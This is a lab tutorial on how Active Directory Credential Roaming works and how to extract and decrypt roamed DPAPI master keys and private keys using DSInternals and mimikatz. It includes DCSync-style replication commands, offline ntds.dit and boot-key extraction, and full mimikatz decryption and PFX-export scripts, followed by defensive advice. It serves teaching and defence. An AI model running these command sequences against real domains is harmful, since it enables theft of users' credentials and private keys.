#CQLabs – Extracting Roamed Private Keys from Active Directory by Michael Grafnetter

CQLabs#7

Previously on CQLabs

This article is a continuation of a previous one, called #CQLabs 5 – DSInternals PowerShell Module.

Introduction

One of the lesser known features of Active Directory (AD) is called Credential Roaming. When enabled, it synchronizes DPAPI Master Keys, user certificates (including the corresponding private keys) and even saved passwords between computers.

Credential Roaming

We know of several companies using the Credential Roaming feature to synchronize S/MIME and EFS certificates between computers. Their motivation typically is to avoid investments into smartcards.

In this lab, you will learn how to extract the roamed credentials from Active Directory and how to decrypt them. We will be using two open-source security tools, the DSInternals PowerShell Module and mimikatz. Be sure to use the latest version of both tools.

Credential Roaming Internals

The mechanism behind the Credential Roaming feature is quite simple: When a user logs off his Windows computer, his credentials are read from the filesystem and written to his user account object in Active Directory. The following publicly readable AD attributes are used:

  • ms-PKI-RoamingTimeStamp – Indicates the time of the last synchronization.
  • ms-PKI-AccountCredentials – Stores certificates, certificate signing requests, private keys and saved passwords. Sensitive information is encrypted.
  • ms-PKI-DPAPIMasterKeys – Stores the DPAPI Master Keys. These symmetric keys encrypt the private keys and are themselves encrypted.

When this user then logs onto another Windows computer, these attributes are read from AD and written back to the following locations in user’s profile:

  • %APPDATA%\Microsoft\Protect – DPAPI Master Keys
  • %APPDATA%\Microsoft\SystemCertificates – Certificates
  • %APPDATA%\Microsoft\Crypto – Private Keys

The DPAPI encryption schema in user’s context is shown on this diagram taken from the official documentation:

DPAPI Encryption Schema

As we can see, the primary copy of a DPAPI master key is encrypted by a key that is derived from user’s password. In order to support password resets, a secondary copy of the master key is encrypted with a so-called DPAPI Domain Backup Key (also known as the DPAPI Domain Backup Key), that is replicated to all writable domain controllers. Windows Server 2000 DCs use a symmetric key, while all newer systems use a public/private key pair. After a user’s password is reset, the primary copy of the master key can no longer be decrypted. The secondary copy is therefore sent to a DC, which decrypts it using the backup key upon user authentication. The master key is then re-encrypted by the client using the current password and saved to the user profile.

The key message is that in order to decrypt a DPAPI Master Key belonging to a domain user, one of the following is required:

  • Knowledge of user’s password, or at least of its SHA1 hash.
  • Access to the Domain Controller Key. This private key is conveniently stored in Active Directory database, together with user credentials.

We will only focus on the latter option. Any attack vector against the roamed credentials will consist of these three steps:

  1. Retrieving the roamed credentials from Active Directory.
  2. Retrieving the DPAPI Domain Backup Key from Active Directory.
  3. Using DPAPI Domain Backup Key to decrypt the roamed credentials.

Lab Setup

This article describes multiple ways of achieving the same goal, some of which require a non-trivial Active Directory environment. To make things simple, we have created a sample AD database that contains two user accounts with roamed credentials. You can thus try to extract and decrypt these credentials by performing steps 1c, 2c, and 3 from this article on your own Windows 10 computer. On the other hand, steps 1a, 1b, 2a, and 2b are mentioned for demonstrational purposes only and would require online AD administrative access.

To prepare your computer for this lab, please follow the Setting Things Up, Exercise 1: Inspecting the Database and If Things Do Not Work sections from the previous article in this series. Additionally, you will also need to download the latest verison of mimikatz.
Be aware that most antivirus programs will mark mimikatz as a potentially dangerous program (hacktool). You therefore shouldn’t do this lab on your work computer.

1. Retrieving the Roamed Credentials

We first need to retrieve the credentials stored in Active Directory using one of the three supported ways. We then recreate the original user profile directory structure using the Save-DPAPIBlob cmdlet. The resulting directory hierarchy should look similarly to this:

DPAPI Directory Structure

1a. Active Directory Service Interface (ADSI)

As the attributes holding the encrypted credentials and master keys are readable by all authenticated users, we can use the Lightweight Directory Access Protocol (LDAP) to retrieve their values from any domain controller. The Get-ADSIAccount cmdlet reads these attributes of all user accounts and parses their values:

Get-ADSIAccount -Server lon-dc1.contoso.com | Save-DPAPIBlob -OutputPath '.\Output'

1b. Directory Replication Service

Another protocol we can use to remotely retrieve these values from a domain controller is the Directory Replication Service Remote Protocol (MS-DRSR):

Get-ADReplAccount -All -Server lon-dc1.contoso.com | Save-DPAPIBlob -OutputPath '.\Output'

Note that the Get-ADReplAccount cmdlet requires the Replicating Directory Changes All administrative permission.

1c. Offline Database Access

Try to perfom this part yourself.

The last option is to read the credentials directly from the Active Directory database using the Get-ADDBAccount cmdlet. This of course requires access to domain controller’s (DC) hard drive or its backup.

Get-ADDBAccount -All -DatabasePath '.\ADBackup\Active Directory\ntds.dit' |
    Save-DPAPIBlob -OutputPath '.\Output'

2. Retrieving the DPAPI Domain Backup Keys

The backup keys are stored in the currentValue attribute of objects whose names begin with BCKUPKEY and are of class secret. The BCKUPKEY_PREFERRED Secret and BCKUPKEY_P Secret objects actually only contain GUIDs of objects that hold the current modern and legacy keys, respectively.

DPAPI Domain Backup Key Location

The modern backup key is a RSA key pair contained in a self-signed certificate that is automatically generated during domain creation. Note that its Subject and Issuer attributes are empty. As Windows does not perfom any automatic rollover of this certificate, it will be marked as expired in most AD environments:

DPAPI Domain Backup Key

The currentValue attribute is never sent through the LDAP protocol by domain controllers, but there are luckily other means of retrieving its value.

2a. LSA RPC

The most straightforward way of remotely fetching the DPAPI Domain Backup Key from a domain controller is using the
Local Security Authority (Domain Policy) Remote Protocol (also called MS-LSAD or LSA RPC). The Get-LsaBackupKey cmdlet implements this protocol.

Get-LsaBackupKey -ComputerName lon-dc1.adatum.com |
    Save-DPAPIBlob -DirectoryPath '.\Output'

2b. Replication

The same result can be achieved by communicating with the Directory Replication Service using the Get-ADReplBackupKey cmdlet:

Get-ADReplBackupKey -Server 'lon-dc1.adatum.com' |
    Save-DPAPIBlob -DirectoryPath '.\Output'

Note that this operation is sometimes called a DCSync attack.

2c. Offline Database Access

Try to perfom this part yourself.

The keys can also be read directly from the database file. As the table column containing the data of the currentValue attribute is encrypted, we first need to fetch the decryption key (so called boot key or system key) from the domain controller’s SYSTEM registry hive.

# We need to get the BootKey from the SYSTEM registry hive first:
Get-BootKey -SystemHiveFilePath '.\ADBackup\registry\SYSTEM'

<# Sample Output:

0be7a2afe1713642182e9b96f73a75da

#>

# Now we can decrypt the DPAPI backup keys from the database:
Get-ADDBBackupKey -DBPath '.\ADBackup\Active Directory\ntds.dit' `
                  -BootKey 0be7a2afe1713642182e9b96f73a75da |
    Format-List

<#
Sample Output:

FilePath          : ntds_legacy_b116cbfa-b881-43e6-ba85-ef3efa64ba22.key
KiwiCommand       : 
Type              : LegacyKey
DistinguishedName : CN=BCKUPKEY_b116cbfa-b881-43e6-ba85-ef3efa64ba22 
                    Secret,CN=System,DC=contoso,DC=com
KeyId             : b116cbfa-b881-43e6-ba85-ef3efa64ba22
Data              : {1, 0, 0, 0...}

FilePath          : 
KiwiCommand       : 
Type              : PreferredLegacyKeyPointer
DistinguishedName : CN=BCKUPKEY_P Secret,CN=System,DC=contoso,DC=com
KeyId             : b116cbfa-b881-43e6-ba85-ef3efa64ba22
Data              : {250, 203, 22, 177...}

FilePath          : ntds_capi_290914ed-b1a8-482e-a89f-7caa217bf3c3.pvk
KiwiCommand       : REM Add this parameter to at least the first dpapi::masterkey 
                    command: /pvk:"ntds_capi_290914ed-b1a8-482e-a89f-7caa217bf3c3.pvk"
Type              : RSAKey
DistinguishedName : CN=BCKUPKEY_290914ed-b1a8-482e-a89f-7caa217bf3c3 
                    Secret,CN=System,DC=contoso,DC=com
KeyId             : 290914ed-b1a8-482e-a89f-7caa217bf3c3
Data              : {2, 0, 0, 0...}

FilePath          : 
KiwiCommand       : 
Type              : PreferredRSAKeyPointer
DistinguishedName : CN=BCKUPKEY_PREFERRED Secret,CN=System,DC=contoso,DC=com
KeyId             : 290914ed-b1a8-482e-a89f-7caa217bf3c3
Data              : {237, 20, 9, 41...}

#>

# In most cases, we just want to export these keys to the file system:
Get-ADDBBackupKey -DBPath '.\ADBackup\Active Directory\ntds.dit' `
                  -BootKey 0be7a2afe1713642182e9b96f73a75da |
    Save-DPAPIBlob -DirectoryPath .\Output

# New files should have been created in the Output directory:

(dir .\Output).Name

<#
Sample Output:

ntds_legacy_b116cbfa-b881-43e6-ba85-ef3efa64ba22.key
ntds_capi_290914ed-b1a8-482e-a89f-7caa217bf3c3.pfx
ntds_capi_290914ed-b1a8-482e-a89f-7caa217bf3c3.pvk

#>

3. Decrypting the Credentials

Try to perfom this part yourself.

In the previous steps, we have exported the domain backup key, master key files, certificates, and their corresponding private keys from Active Directory. We can now use mimikatz to first decrypt the secondary copies of the DPAPI master keys:

DPAPI Master Key Decryption

Next, we will use these master keys to decrypt the private keys:

Private Key Decryption

Even in small real-world AD environments, one would need to use a sequence of hundreds of undocumented mimikatz commands. Luckily, the Save-DPAPIBlob cmdlet generates a file called kiwiscript.txt, which contains all the commands we need, including their proper parameters:

REM Add this parameter to at least the first dpapi::masterkey command: /pvk:"ntds_capi_290914ed-b1a8-482e-a89f-7caa217bf3c3.pvk"
dpapi::masterkey /in:"Install\Protect\S-1-5-21-1236425271-2880748467-2592687428-1000\0f2ca69c-c144-4d80-905f-a6bcdfb0d659" /sid:S-1-5-21-1236425271-2880748467-2592687428-1000
dpapi::masterkey /in:"Install\Protect\S-1-5-21-1236425271-2880748467-2592687428-1000\acdad60e-bcc0-48fb-9ceb-7514ca5aa558" /sid:S-1-5-21-1236425271-2880748467-2592687428-1000
dpapi::cng /in:"Install\Crypto\Keys\002F8F86566CEFBC8694EE7F5BB24A5FF2BA2C18"
dpapi::cng /in:"Install\Crypto\Keys\476D927F1B009662D46D785BA58BD8E9DB42F687"
crypto::system /file:"Install\SystemCertificates\My\Certificates\EA4AD6192A82AB059BFA5E774515FDE0DA604160" /export
crypto::system /file:"Install\SystemCertificates\My\Certificates\D6F23BB7BD8C0099DF5F1324507EA0CA3DE7DEAB" /export
dpapi::masterkey /in:"john\Protect\S-1-5-21-1236425271-2880748467-2592687428-1109\bfefb3a6-5cdc-44f9-8521-a31feb3acdb1" /sid:S-1-5-21-1236425271-2880748467-2592687428-1109
dpapi::masterkey /in:"john\Protect\S-1-5-21-1236425271-2880748467-2592687428-1109\c14e7f69-3bf5-4c49-92d8-78d759d74ece" /sid:S-1-5-21-1236425271-2880748467-2592687428-1109
crypto::system /file:"john\SystemCertificates\My\Certificates\AF839B040D1257997A8D83EE71F96918F4C3EA01" /export
dpapi::cng /in:"john\Crypto\Keys\9F95F8E4F381BFFFD22B5EFAA013E53268451310"
dpapi::cng /in:"john\Crypto\Keys\C9ABDF8DC38EA2BA2E20AEC770D91210FF919F87"
crypto::system /file:"john\SystemCertificates\My\Certificates\DEFFADB62EE547CB88973DF664C4DC958E8E64D8" /export
crypto::system /file:"john\SystemCertificates\My\Certificates\49FD324E5CC4A6020AC9D12D4311C7B33393A1C4" /export
crypto::system /file:"john\SystemCertificates\My\Certificates\4E951C29567A261B2E90C94BCCEFAE1FA878A2CB" /export
dpapi::capi /in:"john\Crypto\RSA\S-1-5-21-1236425271-2880748467-2592687428-1109\0581f4e6088649266038726d9f8786a9_edc46440-65c9-41ce-aaeb-73754e0e38c8"
dpapi::capi /in:"john\Crypto\RSA\S-1-5-21-1236425271-2880748467-2592687428-1109\4771dfabcc8ad1ec2c84c489df041fad_edc46440-65c9-41ce-aaeb-73754e0e38c8"

As we can see, the first line of the file needs to be modified to look like this:

dpapi::masterkey /in:"Install\Protect\S-1-5-21-1236425271-2880748467-2592687428-1000\0f2ca69c-c144-4d80-905f-a6bcdfb0d659" /sid:S-1-5-21-1236425271-2880748467-2592687428-1000 /pvk:"ntds_capi_290914ed-b1a8-482e-a89f-7caa217bf3c3.pvk"

The most straightforwars approach to executing this script is to launch mimikatz.exe from the Output directory and to paste the entire contents of the modified kiwiscript.txt file into its window. After the decryption process is done, the following new files should appear in the working directory:

  • 49FD324E5CC4A6020AC9D12D4311C7B33393A1C4.der
  • 4E951C29567A261B2E90C94BCCEFAE1FA878A2CB.der
  • AF839B040D1257997A8D83EE71F96918F4C3EA01.der
  • D6F23BB7BD8C0099DF5F1324507EA0CA3DE7DEAB.der
  • DEFFADB62EE547CB88973DF664C4DC958E8E64D8.der
  • dpapi_cng_0_te-SWSmartcardLogon-3884386a-ff01-4974-a680-4d2776cf188d.rsa.pvk
  • dpapi_cng_0_te-SWSmartcardLogon-5ed3ce3b-a92d-4f49-b049-8bf63dcc75c6.rsa.pvk
  • dpapi_cng_0_te-SWSmartcardLogon-8e0574de-61b7-444a-8037-22471f5e4d76.rsa.pvk
  • dpapi_cng_0_te-SWSmartcardLogon-dbebe547-4e52-497b-8ef7-e5d731d1e43b.rsa.pvk
  • dpapi_exchange_capi_0_te-e7dc414a-9f0f-4f16-bba6-0238c1bc858a.keyx.rsa.pvk
  • dpapi_exchange_capi_0_te-User-1099ee2b-7532-470f-b37e-de45dcea00bc.keyx.rsa.pvk
  • EA4AD6192A82AB059BFA5E774515FDE0DA604160.der

The last remaining step is to combine the resulting certificates (*.cer) with their corresponding private keys (*.key) into PKCS #12 files (*.pfx). This is the only part that has not been automated in DSInternals yet and must be performed manually. Various 3rd party tools can be used for this purpose, including:

We will continue using mimikatz. The following command will handle the first certificate:

mimikatz # crypto::kutil /key:dpapi_cng_0_te-SWSmartcardLogon-5ed3ce3b-a92d-4f49-b049-8bf63dcc75c6.rsa.pvk /cert:D6F23BB7BD8C0099DF5F1324507EA0CA3DE7DEAB.der /out:D6F23BB7BD8C0099DF5F1324507EA0CA3DE7DEAB.pfx

The console output should look like this:

Private key
===========
    |Provider name : Microsoft Software Key Storage Provider
    |Implementation: NCRYPT_IMPL_SOFTWARE_FLAG ;
    Algorithm      : RSA
    Key size       : 2048 (0x00000800)
    Export policy  : 00000003 ( NCRYPT_ALLOW_EXPORT_FLAG ; NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG ; )
    Exportable key : YES
    LSA isolation  : NO

Certificate
===========
    Subject  : DC=com, DC=contoso, CN=Users, CN=Install
    Issuer   : DC=com, DC=contoso, CN=Contoso Root CA
    Serial   : 11000000000050de4365464293081100000077
    Algorithm: 1.2.840.113549.1.1.1 (RSA)
    Validity : 7/28/2019 12:32:36 PM -> 7/27/2020 12:32:36 PM
    UPN      : Install@contoso.com
    Hash SHA1: d6f23bb7bd8c0099df5f1324507ea0ca3de7deab

PKCS#12 export
==============
    Export: OK - D6F23BB7BD8C0099DF5F1324507EA0CA3DE7DEAB.pfx

Just to be sure, we may use the built-in certutil.exe tool to test the validity of the combined key pair:

C:\>certutil -p mimikatz -dump D6F23BB7BD8C0099DF5F1324507EA0CA3DE7DEAB.pfx
================ Certificate 0 ================
================ Begin Nesting Level 1 ================
Element 0:
Serial Number: 7700000011089342466543de50000000000011
Issuer: CN=Contoso Root CA, DC=contoso, DC=com
 NotBefore: 7/28/2019 12:32 PM
 NotAfter: 7/27/2020 12:32 PM
Subject: CN=Install, CN=Users, DC=contoso, DC=com
Non-root Certificate
Template: 1.3.6.1.4.1.311.21.8.4390590.11476644.5065600.14262005.6728248.160.1.36
Cert Hash(sha1): d6f23bb7bd8c0099df5f1324507ea0ca3de7deab
----------------  End Nesting Level 1  ----------------
  Provider = Microsoft Software Key Storage Provider
Private key is NOT plain text exportable
Encryption test passed
CertUtil: -dump command completed successfully.

The Encryption test passed message means that the private key corresponds to the public one. Note that the PFX file is encrypted using password mimikatz.

We can thus continue with the remaining certificates:

crypto::kutil /key:dpapi_cng_0_te-SWSmartcardLogon-8e0574de-61b7-444a-8037-22471f5e4d76.rsa.pvk /cert:EA4AD6192A82AB059BFA5E774515FDE0DA604160.der /out:EA4AD6192A82AB059BFA5E774515FDE0DA604160.pfx

crypto::kutil /key:dpapi_exchange_capi_0_te-User-1099ee2b-7532-470f-b37e-de45dcea00bc.keyx.rsa.pvk /cert:DEFFADB62EE547CB88973DF664C4DC958E8E64D8.der

crypto::kutil /key:dpapi_exchange_capi_0_te-e7dc414a-9f0f-4f16-bba6-0238c1bc858a.keyx.rsa.pvk /cert:4E951C29567A261B2E90C94BCCEFAE1FA878A2CB.der /out:4E951C29567A261B2E90C94BCCEFAE1FA878A2CB.pfx

crypto::kutil /key:dpapi_cng_0_te-SWSmartcardLogon-3884386a-ff01-4974-a680-4d2776cf188d.rsa.pvk /cert:49FD324E5CC4A6020AC9D12D4311C7B33393A1C4.der" /out:49FD324E5CC4A6020AC9D12D4311C7B33393A1C4.pfx

crypto::kutil /key:dpapi_cng_0_te-SWSmartcardLogon-dbebe547-4e52-497b-8ef7-e5d731d1e43b.rsa.pvk /cert:AF839B040D1257997A8D83EE71F96918F4C3EA01.der /out:AF839B040D1257997A8D83EE71F96918F4C3EA01.pfx

If we import the PFX files into our certificate store, we may also use Windows UI to check that we really have the matching private keys:

Certificate with Private Key

Conclusion

You should now understand how the Credential Roaming feature works and how the private keys can be exported from Active Directory and decrypted using the DPAPI Domain Backup Key.

This feature is as secure as Active Directory itself. If a malicious actor is able to compromise Active Directory at the level that he can export the DPAPI Domain Backup Key, he most probably also has the information necessary to perform much more dangerous attacks, e.g. Golden Ticket or Pass-the-Hash.

In order to protect your organization from attacks against the roamed credentials, you should follow the these generic recommendations:

  1. Enforce users to configure strong and unique Active Directory passwords. You can use DSInternals to regularly audit AD password quality.
  2. Restrict access to domain controller backups and virtual hard drives.
  3. Be cautious when delegating the Replicating Directory Changes All permission.
  4. If possible, do not use the Credential Roaming feature at all. Try to replace it with (virtual) smart cards or Mobile Device Management (MDM) solutions.

To Be Continued…

The DSInternals PowerShell module has some more features that we have not explored yet. We will discuss them in a future lab.

Author

Michael Grafnetter is an expert on Active Directory security who works as a consultant, trainer, and researcher. He is best known as the author of the open-source Directory Services Internals (DSInternals) PowerShell module and Thycotic Weak Password Finder, tools used by security auditors and penetration testers worldwide. He holds a master’s degree in Software Engineering and is a former Microsoft MVP. Michael was a speaker at many conferences, including Black Hat Europe, HipConf New York, and BSides Lisbon.

Comments